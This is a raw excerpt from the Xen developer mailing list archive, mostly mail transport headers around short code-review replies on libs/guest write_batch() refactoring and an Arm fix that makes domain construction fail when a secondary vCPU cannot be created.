 q=dns/txt; s=selector1; bh=C9p5uWwht5/Apv6rfVaiZHJuChMDyv1qJKcOkQMPR0E=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=NbzRVuujo/Tm29YM5nd5vy6BfRNtnYKGTkrVngLatKshMfJFWYQ5Du4hII+Z3Va//ludjp/fD
 RFbk5X07sUDEtJlZ5Fbsy0mOxrMGt+NNr5kShgfRFlfGlqeCqFKSIpia4PfWhf+oR1uvwKcXwuF
 WLW+AZ8n1bYssDmym+p5sG3omEmH6EAjAZW84gv3q2Jp9DvBAsKFHgqEwqCSvSom+4U1CUqJgNX
 B3rmgNm+xYfkMRCdmnhzPOdqnVCkdnn672LACrqOxwEG6BoFWFUL2WHbQlhJAHAQAtqpZcm8D3g
 o5+cTTY6MWZ+6iSu/caiysm4ak9WTsmhhXUIPRMoqAmQ==
X-Zone-Loop: 5ac7b4b1189226be4ce3eb6e8c4cc2f1bcdbf46167b7
x-campaign-type: default
x-transaction-id: 5a8640bf-7aaf-4321-916d-56526ecf0f38
x-swg-uid: 01-7eef6bee-bee4-4240-b4f6-c62dd0f6b9e2
X-Mailer: Sweego
Message-ID:
 <1783501691.8631fc262581453bbf619ec5b2062170.19f40fc185300080a8@vates.tech>
x-swg-bid: 1783501691.8631fc262581453bbf619ec5b2062170.19f40fc185300080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:08:10 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v6 1.9/16] libs/guest: Allocate rec_pfns earlier in
 write_batch()
References: <20260619130501.272832-3-frediano.ziglio@citrix.com>
 <20260701135230.794306-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260701135230.794306-1-andrew.cooper3@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.3e1.65c377d4501c7490.19f40fc16b3.3a4d7fcc9d687702=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783501690548
X-purgate-ID: tlsNG-ef75cf/1783501692-7DB2325E-AC5FD501/0/0
X-purgate-type: clean
X-purgate-size: 826

---=Part.3e1.65c377d4501c7490.19f40fc16b3.3a4d7fcc9d687702=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Wed, Jul 01, 2026 at 02:52:30PM +0100, Andrew Cooper wrote:
> For reasons which escape me, rec_pfns are allocated separately to the re=
st of
> the batch allocations=2E
>=20
> Allocate them all together=2E  This will allow for future simplification=
s to be
> performed in an incremental mannor=2E
>=20
> No functional change=2E
>=20
> Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.3e1.65c377d4501c7490.19f40fc16b3.3a4d7fcc9d687702=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:09:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:09:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356712.1611259 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOHG-0001e6-GD; Wed, 08 Jul 2026 09:09:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356712.1611259; Wed, 08 Jul 2026 09:09:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOHG-0001dz-Dg; Wed, 08 Jul 2026 09:09:10 +0000
Received: by outflank-mailman (input) for mailman id 1356712;
 Wed, 08 Jul 2026 09:09:08 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fceeca00080a8@swg.vates.tech>)
 id 1whOHE-0001di-Lo
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:09:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOHD-00GqBP-Uk
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:09:08 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fceeca00080a8@swg.vates.tech>)
 id 6a4e13a2-bab6-0a2a0a5309dd-0a2a4505dd2c-46
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:09:07 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fceeca00080a8@swg.vates.tech>)
 id 6a4e13b3-3cb2-0a2a45050019-b9ff1c23935b-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:09:07 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f40fceeca00080a8.004 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:09:05 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id EA91381F3C;
 Wed,  8 Jul 2026 11:09:04 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=/bAR6JPXry9nepncBFYa9aG85zbINNXGxfCJ6SiGoLs=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=X21QJplLzVlypsZAtU+5sOj9xd0yl230xx27iSkrbTWEnj++iy5AdgmVs9+aLquWXPoGwm5Vc
 gncsT/Q1x+NLOvz8WSJGQZGFXSv0HYz/7CgwvaS9gkJpSdp/DmPUBsVOkBkqg/eSQGDAlLTjLFf
 mMVA6K88lImazgXa9J0uwSwDzx3E4rZ4iXGeHTFD+/Lf/SC+ljqRRvTd/Z3huswyKdsvCLJ1vQD
 Ao6MGbCORAXRScy7BrG1uXchL1hvjf0Zykz/gCXcSGn68nz6D/Vtz8budcd3GMI8wiR6uOAwd65
 3SUVi5gc15YNdshg96PY4V+bVJyy0Ltk4QUCIg8ZxSaQ==
X-Zone-Loop: 7fcca927dba75fb7011115090cc62c4911957136aabe
x-campaign-type: default
x-transaction-id: 9935fd07-a460-4686-9290-4f7216b0a6ee
x-swg-uid: 01-c0e2a85d-e57e-4ccb-b39a-e66cd90f2890
X-Mailer: Sweego
Message-ID:
 <1783501745.8631fc262581453bbf619ec5b2062170.19f40fceeca00080a8@vates.tech>
x-swg-bid: 1783501745.8631fc262581453bbf619ec5b2062170.19f40fceeca00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:09:04 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Frediano Ziglio <freddy77@gmail.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v6.1 02/16] libs/guest: Reduce number of iovecs in
 write_batch()
References: <20260619130501.272832-3-frediano.ziglio@citrix.com>
 <20260701135747.797083-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260701135747.797083-1-andrew.cooper3@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.3e2.d1f2b23ebbfdcf7.19f40fceb95.9326219e6c2dd7ff=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783501745045
X-purgate-ID: tlsNG-c201ff/1783501747-553E72B8-7798200E/0/0
X-purgate-type: clean
X-purgate-size: 945

---=Part.3e2.d1f2b23ebbfdcf7.19f40fceb95.9326219e6c2dd7ff=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Wed, Jul 01, 2026 at 02:57:47PM +0100, Andrew Cooper wrote:
> From: Frediano Ziglio <freddy77@gmail=2Ecom>
>=20
> Construct all of the headers together in one block, rather than a field =
at a
> time=2E  Initialise as many of the fields as possible at declaration tim=
e=2E
>=20
> Start filling in iov[] earlier, to allow for future simplifications=2E
>=20
> No practical change=2E
>=20
> Signed-off-by: Frediano Ziglio <frediano=2Eziglio@citrix=2Ecom>
> Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.3e2.d1f2b23ebbfdcf7.19f40fceb95.9326219e6c2dd7ff=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:18:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:18:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356725.1611272 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOQI-0003Om-B2; Wed, 08 Jul 2026 09:18:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356725.1611272; Wed, 08 Jul 2026 09:18:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOQI-0003Of-8S; Wed, 08 Jul 2026 09:18:30 +0000
Received: by outflank-mailman (input) for mailman id 1356725;
 Wed, 08 Jul 2026 09:18:28 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whOQG-0003OZ-Fl
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:18:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOQF-00AcSt-Sm
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:18:27 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4e15c2-e002-0a2a0a5209dd-0a2a4509e7d2-48
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:18:27 +0200
Received: from [52.101.72.117]
 (helo=AM0PR02CU008.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4e15e3-97e6-0a2a45090019-34654875f51e-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:18:27 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by GV2PR03MB8558.eurprd03.prod.outlook.com (2603:10a6:150:aa::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 09:18:23 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.012; Wed, 8 Jul 2026
 09:18:23 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Uy9QtJlTnMNwYdewjNUwHjKmWDIaOuN7JEwFmacAr8sPkMQTjS73JbTzX7/28X63nB2XnDpRjCBbNM5In/X1qPMKJtsfe6mx8KqigTo5sgbkh7vjGKWC0TxROBn1nFDR1XCgb2p7bdTCoysTAn/ZWRTz76/cq7faDmIQ3DayYCywQsU08x8pSD/FQYyEztsJ/x7t0SfJbLtAnmNUxlCdi8LsIeIR6PduWAWA5n/FbM1CxgKJUhcWuhqUW01IaVLCAnkrPa9vkhXDomyb7nfCNGVQhep89ceeH6SI92N8TdK5VTS4To1N80siPQkDyB1GjJ3TREWOSHO4KVLYOPt1wA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=5VUNT/jhTjskRtdJlHO4bSUe2g74vka9Yns7f8BraCY=;
 b=ZVngrr3K0Vi4vcQYA8bZaHovhkQCh72LE1WM3zh4jll/zU6WoudxFYdd1MwOjPyyn2cYCk1KbW4qqVPryV18FrttLpVfqgFkKWj6dD/Y04Sr7DJV2FWS9wMgOfabId7W8fJWear3I6WOBSB4FIfXHUJMknVyal1ET7PdiIwWctrM6rUbYhiRLOIGSPcndbfilBMy2Tw6juYo9v2nCR9Ma1x6Z5CLPJv0S+Kzclc0kMaRZJdx5HzaRxNCc27H8ZVAinn7eVGeb1+elHcYSl0JhVKhRm+RpqWgoqJGBZzQU3cdL/vEGUGRHxJM4yO8nb5XJs2lc+TNdBhKz2K+dU2oGQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=5VUNT/jhTjskRtdJlHO4bSUe2g74vka9Yns7f8BraCY=;
 b=fGzZP8JhlNfdYUmo3lmUENw2NKJm1a4TkU0EdAQDtXcPSnkkZBGPLT6gEVMPvc5UTSXdieXZ1RiTuIxjMYOfvAC2Vw6CklZ8ukPIhwP27BIyLig3XBb26DQHz3qk36vm3UUerA9dsQctOqxa4zPvgyPjxL4HE/xwfTUPEqacQBmxX/SyTb+6jvtY0KIvVZMSmIZS9T+feOO8lVwWuXNGfuB99J7q6eOJ6ByE+IzICMTfzEMypzzOiCsPeTOEWmdvkHWi2pUTHneBHCaPEEHqnS+yGY2owNQTPjDypqyb8ayA3snffqlwjLrndx4IunT0tsdHHEibmjZfIhKuduRVqA==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
Thread-Topic: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
Thread-Index: AQHdDq5gOqNqAqj/K0Gfl8kk0v3OprZjWBUA
Date: Wed, 8 Jul 2026 09:18:23 +0000
Message-ID: <6594c467-4cc2-4a61-bbed-def8179cd712@epam.com>
References: <20260708074919.33381-1-michal.orzel@amd.com>
In-Reply-To: <20260708074919.33381-1-michal.orzel@amd.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|GV2PR03MB8558:EE_
x-ms-office365-filtering-correlation-id: bdc2a703-2a5c-4338-886a-08dedcd1dc22
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|376014|23010399003|42112799006|366016|18002099003|22082099003|38070700021|11063799006|56012099006;
x-microsoft-antispam-message-info:
 tHfDiiMzsBHIUGgocqEvXm4i9TsOuAl+MyjRi2DP/gzmQTtc2iBazWY1aa69/kiHczE/Dtx20rTcrp0MxZyMTtKlK9SXxnQrIdWLsCxYwLruoNbFmqMBT9912CU3N9IY98cSh+6bx8mcWLvF5qmWh3p5MiOFfho23Bh5Ndgs8yj+9K0Tpqjmr5QA49Hh+qTJ8vDSkLBPKx4qbwVUurTZt1792npWx9kX4CeyrgbgKHSfDuV1iyq5MLTim5wUHp5xX1i7d8cmiGZDNTUWQ/Pkn5AvjIanZ5YuKtc8sNFCX3uK3b14GPGy2jT3mWri/I8a2s4x9LZVsZXesnM2ePASSCWgtE+gHPviweUlOjzKUMaZ3q5VnQNWdftLCUDyTugd2vm6mD83J9r533Dv6PnYO7fFaKOh74ilVVWyQGMaPZ6MBTTdi5aVYHT3XYDDNmti7lc09tTM4KZbHrWsyABHiE2NPuc59zj7Wwe6NjgmBAPlx9b3LEKTn7hpMqAtyjbT87BZ/arU0tkp5BK0L/9Aj6ng9sdJZZEgBDEqpklouEkZtIIKZyaLyA2n/YQtpXAdkYEJxmXC2mfTkqgoRgR0UJthSd6apy/3zKxDVyD+jRoGGnXgr/pZpfn1/eMgD34ii5ZD9KzCABfcZtQIl6hhTBGxr+Xc+tTaX3aSr7fOuHo/hXEwSfCECpyFs3TT26v0YC2p6GYVhq2zRX2vdfbJ2Q==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(23010399003)(42112799006)(366016)(18002099003)(22082099003)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ZVVkExRGJFZG9BQmpkWlREWWxVbFZvdmpI?=
 =?utf-8?B?b0VKdlNkYisyaElPUExrWGE2cVNrVWFyWW81TWx3MEpmdmM0aVBCckZrc3BN?=
 =?utf-8?B?Sjl6K0EyNHMxS3ZCcGlFQXhVSkUzQ2FjaWt6N1h3REtqUVRabDJRS2thSTJm?=
 =?utf-8?B?bzhGRWtwa3RuWHp1VElZSFludG1nTE4wdmkwV002RXBPVUladGE0YXNDbnVQ?=
 =?utf-8?B?S0VNaWRPMUlGbktpWkdLU3FxS1ZXMGxYbG1tbHNYRERabVVRL1JBWGZqZ1gz?=
 =?utf-8?B?ZWdYenQzMzB0VTZUSXU5bnN4T0VKSlRaVXJTUElnUlUrQW9INjJIczRiMEMv?=
 =?utf-8?B?WitrMjM2YlVJSndnWnVPeHhMc3I4QkplZzFRRERENFFYNXhZd2FNbVJIMVZZ?=
 =?utf-8?B?RmFKdGVQZUFuNHNSa0RKQkRLU3dTY2ErQXBlODNrdGRkYURwVFN6VVhBZXJF?=
 =?utf-8?B?R3A4OGFMbEJDR3owVVM0S3FOUDFaL2ZGNFdoOUJSM0lIOTEwWWpNeDFLcXBm?=
 =?utf-8?B?OXdYd1VSc1Z1R291QVNhalgxWG5jVXhZQzVHU0NhVFY5TFp4SEpFdXVoTDBB?=
 =?utf-8?B?SEh2bGV6NlZ0em42ckFEaHdGcmdNaHJreXdVV2VCUTFwQmlWUjdsSVgwVkNh?=
 =?utf-8?B?SWRBWE8raHUvK2w3WVVMRnlkVG1STW0yekMyeE1wQ1J0dFlRcWxFejdPMUpH?=
 =?utf-8?Q?Je+yqyWasHcHI3FM=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <6125DF7682BB9742B4F1623E1A00FB08@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: bdc2a703-2a5c-4338-886a-08dedcd1dc22
X-MS-Exchange-CrossTenant-originalarrivaltime: 08 Jul 2026 09:18:23.1649
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: NYBP4XjYP9qutP5saUYv6pbC/4K2FHRpi/wOBMPg7Wg1e2ul7RHpXDRVFVKr1iF5N7z+hNWukXzilegnDW/yT/s1QQVN/Eu4j8u4iTfsUmE=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GV2PR03MB8558
X-purgate-ID: tlsNG-bad1c0/1783502307-45F25986-FE54757F/0/0
X-purgate-type: clean
X-purgate-size: 2480

SGkgTWljaGFsLA0KDQpPbiA3LzgvMjYgMTA6NDksIE1pY2hhbCBPcnplbCB3cm90ZToNCj4gY29u
c3RydWN0X2RvbWFpbigpIGNyZWF0ZXMgdGhlIHNlY29uZGFyeSB2Q1BVcyBpbiBhIGxvb3AsIGJ1
dCBvbiBhDQo+IHZjcHVfY3JlYXRlKCkgZmFpbHVyZSBpdCBvbmx5IHByaW50cyBhIG1lc3NhZ2Ug
YW5kIGJyZWFrcyBvdXQgb2YgdGhlDQo+IGxvb3AgcmV0dXJuaW5nIHN1Y2Nlc3MuIEFzIGEgcmVz
dWx0IHRoZSBkb21haW4gY2FuIGJlIGNvbnN0cnVjdGVkDQo+IHdpdGggZmV3ZXIgdkNQVXMgdGhh
biBkLT5tYXhfdmNwdXMsIGxlYXZpbmcgTlVMTCBob2xlcyBpbiBkLT52Y3B1W10NCj4gYmVsb3cg
bWF4X3ZjcHVzLg0KPiANCj4gV2hlbiB0aGUgZ3Vlc3QgcHJvYmVzIHRoZSByZWRpc3RyaWJ1dG9y
IG9mIGEgdkNQVSB0aGF0IHdhcyBuZXZlciBjcmVhdGV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TA2MTdmMTUyYmIuLmI0NjU3NGZkMzJhYSAxMDA2NDQNCj4gLS0tIGEveGVuL2Fy
Y2gvYXJtL2RvbWFpbl9idWlsZC5jDQo+ICsrKyBiL3hlbi9hcmNoL2FybS9kb21haW5fYnVpbGQu
Yw0KPiBAQCAtMTg0Nyw3ICsxODQ3LDcgQEAgaW50IF9faW5pdCBjb25zdHJ1Y3RfZG9tYWluKHN0
cnVjdCBkb21haW4gKmQsIHN0cnVjdCBrZXJuZWxfaW5mbyAqa2luZm8pDQo+ICAgICAgICAgICBp
ZiAoIHZjcHVfY3JlYXRlKGQsIGkpID09IE5VTEwgKQ0KPiAgICAgICAgICAgew0KPiAgICAgICAg
ICAgICAgIHByaW50aygiRmFpbGVkIHRvIGFsbG9jYXRlIGQlZHYlZFxuIiwgZC0+ZG9tYWluX2lk
LCBpKTsNCj4gLSAgICAgICAgICAgIGJyZWFrOw0KPiArICAgICAgICAgICAgcmV0dXJuIC1FSU5W
QUw7DQoNCkkgd291bGQgc2F5IHJldHVybmluZyAiLUVOT01FTSIgaXMgbW9yZSBhY3R1YWwgaGVy
ZSwgYmVjYXVzZSANCnZjcHVfY3JlYXRlKCkgZmFpbHMgaW4gbW9zdCBjYXNlcyBkdWUgdG8gdW5h
YmxlIHRvIGFsbG9jYXRlIG1lbW9yeS4NCg0KPiAgICAgICAgICAgfQ0KPiAgIA0KPiAgICAgICAg
ICAgaWYgKCBpc182NGJpdF9kb21haW4oZCkgKQ0KDQpCUiwgRG15dHJvLg==


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:29:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:29:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356737.1611283 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOb5-00053y-A4; Wed, 08 Jul 2026 09:29:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356737.1611283; Wed, 08 Jul 2026 09:29:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOb5-00053r-6e; Wed, 08 Jul 2026 09:29:39 +0000
Received: by outflank-mailman (input) for mailman id 1356737;
 Wed, 08 Jul 2026 09:29:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@swg.vates.tech>)
 id 1whOb3-00053k-Es
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:29:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOb2-00AfMG-1m
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:29:36 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@swg.vates.tech>)
 id 6a4e1877-bab6-0a2a0a5309dd-0a2a4507b322-22
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:29:35 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@swg.vates.tech>)
 id 6a4e187f-9c8e-0a2a45070019-b9ff1c238579-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:29:35 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f410fad6d00080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:29:34 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 776228099B;
 Wed,  8 Jul 2026 11:29:33 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
